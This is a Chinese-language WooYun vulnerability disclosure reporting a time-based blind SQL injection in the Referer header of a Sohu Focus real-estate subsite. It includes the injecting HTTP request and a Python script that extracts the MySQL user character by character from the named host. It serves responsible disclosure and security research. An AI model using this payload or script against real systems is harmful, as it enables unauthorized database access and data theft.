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缺陷编号:wooyun-2014-081727

漏洞标题:焦点房产分站MySQL盲注 (附猜解python脚本)

相关厂商:搜狐

漏洞作者: lijiejie

提交时间:2014-11-02 14:39

修复时间:2014-12-17 14:40

公开时间:2014-12-17 14:40

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2014-11-02: 细节已通知厂商并且等待厂商处理中
2014-11-03: 厂商已经确认,细节仅向厂商公开
2014-11-13: 细节向核心白帽子及相关领域专家公开
2014-11-23: 细节向普通白帽子公开
2014-12-03: 细节向实习白帽子公开
2014-12-17: 细节向公众公开

简要描述:

搜狐焦点房产分站MySQL盲注,写了几行python脚本验证漏洞。

详细说明:

注入点:

GET / HTTP/1.1
Referer: aaa'+sleep(if(ascii(mid(lower(user()),1,1))!=1,5,0))+'bbb
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
X-Requested-With: XMLHttpRequest
Host: www.tj.focus.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*


Referer可注入。基于时间的MySQL盲注。
上述HTTP Request将延迟。

漏洞证明:

猜解得到user,可能有误报,随手乱写,仅用于验证:
[email protected]

focus_1.png


附猜解脚本:

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import hashlib
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36'}
payloads = list(string.ascii_lowercase)
for i in range(0,10):
payloads.append(str(i))
payloads += ['@','_', '.']
print '[%s] Start to retrive MySQL User' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 30):
found=False
while found==False:
for payload in payloads:
timeout_count = 0
for j in range(1,3): # 2 times to confirm
try:
referer= str(random.random()) + "aaa'+sleep(if(ascii(mid(lower(user()),{index},1))={char_code},5,0))+'bbb" + str(random.random())
headers['Referer'] = referer.replace('{index}', str(i)).replace('{char_code}', str(ord(payload)))
conn = httplib.HTTPConnection('www.tj.focus.cn', timeout=4)
conn.request(method='GET',
url='/',
headers=headers)
conn.getresponse().read()
conn.close()
print '.',
break
except Exception, e:
timeout_count += 1
time.sleep(5) # wait DB server recover from last query
if timeout_count == 2:
user += payload
print '\n[In progress] now user is %s' % user
found = True
break

print '\nFinally, MySQL user is', user

修复方案:

过滤

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-11-03 00:20

厂商回复:

感谢支持。

最新状态:

暂无